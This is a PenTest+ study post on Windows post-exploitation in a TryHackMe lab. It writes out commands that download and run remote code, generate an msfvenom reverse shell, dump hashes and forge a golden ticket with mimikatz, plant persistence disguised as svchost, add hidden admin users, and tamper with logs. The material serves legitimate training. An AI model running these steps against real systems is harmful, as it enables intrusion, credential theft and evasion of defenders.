CompTIA PenTest+ Chapter 3 Section 3.7, Post-exploitation

So we managed to get a shell on the system , our exploit must have worked … But now what ? We need to figure out what this system is, what our privileges are, what are the potential vulnerabilities on this computer to grant us admin access. We could also think about pivoting, or taking the credentials we have just found and seeing whether we can enable RDP on the host , we may also want to be able to use tools like psexec (if we compromised a Windows machine) to log back in this way.

Once we land onto the system we loop back to the start of the penetration testing cycle - which is enumerating the target. We won’t just be gathering information, but actively checking services like Active Directory for all those shares, getting computer names on the network etc.

Enumerating Windows

There are post-exploitation frameworks that come with so many little scripts which we can run on the client machine and reveal a lot about the domain look how many Active-Directory scripts Powersploit has. This tool is essentially a bundle of PowerShell scripts which we send over to the target and execute, we combine this with Metasploit to establish handlers, establish persistence on etc. Let’s start with gathering some information !

PowerSploit

Right then, make sure you’re already in a compromised Windows machine, in this example I’ll be using the Post-Exploitation basics TryHackMe room.

ssh Administrator@*Machine-IP*

;; accept fingerprint and enter password...

powershell-is-up

Now we will want to pull those scripts from PowerSploit , let’s start by going to the directory:

recon-options

The script we shall be sending to the client first is Powerview as it contains many functions which will evaluate a Windows AD Domain.

To make these files accessible to the target we can do the simple

python3 -m http.server

And to download the PowerView script

IEX(New-Object Net.WebClient).DownloadString ("http://*your-ip*:8000/Recon/PowerView.ps1")

I missed a little detail earlier, to run these scripts we will need to bypass the execution policy in PowerShell otherwise it won’t run our code … So do

powershell -ep bypass 

;; then load PowerView

. .\Downloads\PowerView.ps1

The Documentation shows all the functions at our disposal:

Get-NetUser

This gives us an incredibly good understanding of where the user is in the domain but a lot of it we don’t need so we can add a select statement on the end:

select-distinguishedname

This gave us all the accounts on the network … such power ! It also includes the hidden flag which maps to the last question … Another nice trick is to do

Get-NetUser -SPN

This will list all the accounts where the Service Principal Name is given, which allows us to request for a Ticket-Granting Service (TGS) ticket and in that is the hash of the user. We can extract the ticket from memory with something like mimikatz and offline-crack the hash.

two-accounts-with-spn

So there are two accounts here which we can try. Aside from user accounts now let’s take a look at all the groups on the domain:

Searching here specifically for admin in the name (not case-sensitive)

all-admin-groups

More random functions to try…

more-recon-functions

To get some details on the specifics of each computer , we can run

get-operatingsystem

To find the available shares on the domain, we just use the simple

Get-NetShare

;; default shares are

;; **DriveLetter**$ (usually C$)
;; ADMIN$
;; IPC$
;; NETLOGON
;; SYSVOL
;; PRINT$
;; FAX$ 

The question asks for the share which is not set by default, and so not in this set of shares

get-netshare

Using Bloodhound and Sharphound to enumerate Windows machines

This is a tool which allows you to visualise the network and in combination with another complimentary tool Sharphound, which does the work of gathering data to visualise, we can begin to see the relations between domains, who is the domain controller etc.

It’s simplest if you have bloodhound already on your Tryhackme box as there can be conflicts with the different Java versions and Neo4j. It’s best to have Java 8 when starting it - but you could also use a self-contained docker image and load that …

Regardless of where you are using it, once installed type neo4j console . This should start the database, but we will need to head first to

localhost:7474

As we need to set the password for the Bloodhound database. The credentials to sign into neo4j are

Username : neo4j
Password : neo4j

Then it will ask us to change the password, I just put blood . Now opening Bloodhound we should be able to enter those credentials and get this:

nothing-yet

To get some data we will need Sharphound to do its work on the target, then we can pull that data back and have a look. We can put Sharphound on the target computer in the same way as with the PowerSploit scripts, once done we can type:

Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip    

generated-bloodhound-files

To transfer this back through SSH we could use scp . To do this , our machine has to trust the target and so we’ll need to update our local SSH config.

;; edit /etc/ssh/sshd_config

;; make sure PermitRootLogin is set to yes and not commented as we are using root
;; on the THM attack box...

;; now start an ssh socket
systemctl start ssh.socket

Now on the Windows machine:

transferred-file-over

And on our attack box

found-the-loot

Now we just load the loot.zip file into Bloodhound with the upload data option on the top-right menu. If the graph isn’t immediately loaded when the import is complete then just close Bloodhound and open it again, you should then see:

loaded-graph

Then if we click on the burger top-left we get a whole host of queries we can try out:

all-bloodhound-queries

If I wanted to see the results of the List all Kerberoastable Accounts query (that Sharphound had run on the target) then we just click it and see the accounts. In this case

KRBTGT
SQLSERVICE

Were both vulnerable…

Using metasploit for Post-Exploitation

This is where we step it up a gear and make use of reverse shells - as we will be moving files and programs between the two machines, we will also be using some of the persistence modules that come with metasploit - which will make modifications to the client so that each time the computer restarts we get a listener on port 4444 for example…

First let’s use a tool called msfvenom which can generate payloads for specific architectures. It will generate a reverse shell or bind shell for the target machine’s platform, architecture etc. Let’s take a look at all available platforms:

msfvenom-platforms

To create a reverse shell called shell.exe for a Windows machine we can do:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe

To get this executable onto the client I’ll make a folder called backdoor and put shell.exe into it. Then the standard python -m http.server 8080 if python is an alias to version 3.*.* +. You should see that the length of the payload is the same size when we ran msfvenom so you know it has been downloaded successfully.

just-like-linux

Now that we can run that on the client, we need to start metasploit up on our attack box as we will need to setup the handler - to start a server at the same port - to connect. Typically its the exploit/multi/handler which is the default.

ready-to-accept

Now the handler does accept the same payload as the one we used with msfvenom because it uses the payload to understand what will be coming to connect. Seeing that it is a Windows machine will allow a session that is less likely to break. I know it seems a bit silly starting another shell as we already have one, but the meterpreter is a shell which comes with so many convenience features like uploading and downloading files - no more ad-hoc python servers, but also the amount of modules at our disposal saves a lot of time.

;; run on the target 
. .\shell.exe

;; now check for a meterpreter shell

we-got-meterpreter-up

This shell will of the same level as the account that launched the executable but since we are already admin it passes on to us - check this with getuid.

Let’s upload the mimikatz.exe onto Windows and dump some NTLM hashes ! This becomes very simple. Keep in mind to reference the 64-version as this is a 64 bit system, otherwise Mimikatz can only scan half of the number of addresses, and data will be scattered all over.

uploading-mimikatz

And check it came into the home folder

mimikatz-has-landed

Run it, and make sure to put it into administrator mode…

running-in-admin-mode

Now dump the hashes

all-dumped-hashes

Creating a Golden Ticket with Mimikatz

Now that we have the ability to dump items from memory , we can forge a valid TGT. We do this by getting the information from the KRBTGT account which encrypts all authentication tokens for use. We can grab the Security Identifier (SID) along with its NTLM hash - which gives the impression that we have already been in communication and gained trust within the network (enough trust to ask for resources that is).

To get the information from the KRBTGT account, or whatever account is in charge of such encryption , just do:

lsadump::lsa /inject /name:krbtgt

This will output a lot of information: pro tip, before executing this command you can enable logging with

log mimikatz.log ;; any file name is fine

And then on the meterpreter side you can grab the all the output onto the attacker machine with

download mimikatz.log

Now that we have the SID and NTLM hash of the account we can string together what appears to be a trusted TGT coming from the Administrator:

kerberos::golden /user:Administrator /domain:controller.local /sid:*sid* /krbtgt:*hash*

ticket-has-been-saved

Backing out of this you can see the ticket.kirbi which will be handed over when you want to see particular resources, this can be done within mimikatz just be doing misc::cmd . This will open an Administrator terminal which is connected to all other computers on the domain as we can grab their resources ; however, Tryhackme is only loading our one testing machine , not the whole network, so unless you actually have the computers up and running in your lab you can’t access their folders :/ With this SSH account I can’t see the spawned terminal but if I was RDP’d in then I would’ve seen a prompt pop up.

Setting up Persistence

With the meterpreter session we currently have we need to background it as we need to run another exploit that does the work of finding where it can put scripts which will be executed on startup.

Now if we log out of msfconsole and then setup the multi/handler again, we can see that as soon as we run exploit a meterpreter prompt opens right up. This seems to be because there is now a bogus service on the computer :

backdoor

Different Ideas for acquiring persistence

These will incorporate a number of recommendations for acquiring persistence on Windows systems as there are many more ways than just the one we covered here. The first would be to create a new service that always started up on boot and launched an access point at port 4444 for example :

;; Create the service with the New-Service cmdlet
;; Don't name it backdoor ! Many processes are called svchost, so this should help us 
;; blend in
;; our shell.exe should be renamed svchost.exe

New-Service -Name "svchost" -BinaryPathName "C:\Path\to\binary\svchost.exe" -Description "<Service Description>" -StartupType "Boot"

The service that gets created will currently be in the stopped state, but when the system reboots it will be included.

Scheduled tasks are another way to achieve a regular interval of execution, we can launch specific programs at particular times and this helps us become a lot sneakier when trying to evade prying administrators. We can create a Scheduled Task with PowerShell :

;; denotes the type of action that will be made , so the program executed
$A = Net-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Administrator\Desktop\svchost.exe"

;; This defines the trigger, the conditional which will launch the action above.
;; can be given as daily, monthly, weekly as well...
$B = NewScheduledTaskTrigger -AtLogOn

;; The user that has ownership of the task , obviously we need to have this
;; account compromised if we are to schedule tasks as this user. 
$C = NewScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -RunLevel Highest

;; Set of default settings which come with any task, image of these below
$D = NewScheduledTaskSettingsSet

$E = NewScheduledTask -Action $A -Trigger $B -Principal $C -Settings $D

Register-ScheduledTask svchost -InputObject $E

For those curious this is what the NewScheduledTaskSettingsSet object is:

task-scheduled-settings-set

All of this together creates that new task to work with..

Adding new users is a tried and true method of retaining access on a system, but it should be caught fairly quick in a well monitored environment. This can be done on Windows quickly by doing:

net user [username] [password] /add
net localgroup administrators [username] /add

Staff will commonly check the SAM database for new user accounts by reviewing the Windows SAM or the Linux password file. Some pen-testers may attempt to conceal their presence by modifying these files to make evidence of the creation date less obvious. There could even be a concealed task to add a user for one hour’s worth of usage and then delete it - and of course the logs which noted the actions, but that is quite a contrived hack.

Covering your Tracks

Like I mentioned earlier, clearing logs , tools and other files we used during the post-exploitation phase is crucial to sticking around for the longest time possible. This can be very simple or quite complex, depending on the techniques that were used, the configuration and capabilities of the target system, and the tools that were needed to complete the attack.

One of the first steps you should consider when covering your tracks is how to make the tools, daemons, or Trojans that you will use for long-term access appear to be innocuous. Some tools like Meterpreter do this by inserting themselves into existing processes, using names similar to common harmless processes or otherwise working to blend in with the normal behaviours and files found on the system. It can be difficult, if not impossible, to conceal all of the tools required to compromise and retain access to a system. In cases where it is possible that your tools may be discovered, encryption and encoding tools like packers, polymorphic tools that change code so that it cannot be easily detected as the same as other versions of the same attack tools, and similar techniques can help slow down defenders.

This idea of blending in is why trojans are so necessary for being able to persist. If you can look like a software package that belongs - like some complement to google-chrome , a plugin/extension or a screenshot tool (anything) then it may pass a watchful inspection. Better would be to try and swap out a patched version of any software with the older , more buggy version which we can always exploit in future. Obviously the success of this attack is the regularity of the vulnerability scans (and their breadth) but we could expect that vulnerable program to sit for a month .

The difference between trojans and backdoors is that the former is actively trying to dress itself up as legitimate software - renaming itself, obfuscating code and sticking to other trusted software packages , whereas the latter is only concerned with setting up a way of bypassing security and/or authentication procedures. A backdoor is usually just a service running on an obscure port that allows an attacker a path back to the system.

The same techniques used by advanced persistent threats and major malware packages to avoid detection and prevent analysis can be useful to penetration testers because their goal is similar. In addition to hiding the tools and other artefacts required to retain access, cleanup is important. Penetration testers need to know where the files that their attacks and actions created will be and should ensure that those files have been removed. You also need to track the log files that may contain evidence of your actions. While it may be tempting to wipe the log files, empty log files are far more suspicious than modified log files in most cases. If the target organisation uses a remote logging facility, you may not be able to effectively remove all log-based evidence, and the difference between local and remote logs can indicate compromise if staff at the target notice the changes. This means that most practitioners first choose to modify logs or clean them if possible, and then use log wiping only if they don’t have another option.

Concealing communications between the target system and a penetration tester’s workstation, or between multiple compromised systems, is also a key part of covering your tracks. The same techniques used by advanced malware are useful here, too. A combination of encrypted communications, use of common protocols, and ensuring that outbound communication travels to otherwise innocuous hosts can help to prevent detection. A direct RDP session in from the penetration tester’s workstation after performing a series of port and vulnerability scans is much more likely to be detected by a reasonably competent security team!

Resources